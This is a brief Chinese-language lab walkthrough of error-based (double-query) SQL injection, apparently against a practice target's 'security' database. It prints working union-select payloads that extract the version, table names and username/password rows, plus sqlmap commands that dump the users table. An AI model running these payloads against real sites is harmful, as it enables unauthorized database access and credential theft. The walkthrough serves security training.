GET报错注入
报错注入形式上是两个嵌套的查询,即select…(select…),里面的那个select被称为子查询,它的执行顺序也是先执行子查询,然后在执行外面的select。
双注入主要涉及的几个sql函数:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by clause分组语句,按照查询结果分组
通过报错来显示出具体的信息
GET报错靶场
查询字段
查询到字段为3个
获取数据库,
' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取表名
' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
修改limit查看其他表名
获取用户信息
' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
sqlmap测试
-u探测是否纯在注入
获取当前使用的数据库
–current-db
探测数据库下的表
-D security --tables
探测字段名
-D security -T users --columns
查询字段对应的内容
-D security -T users -C username,password --dump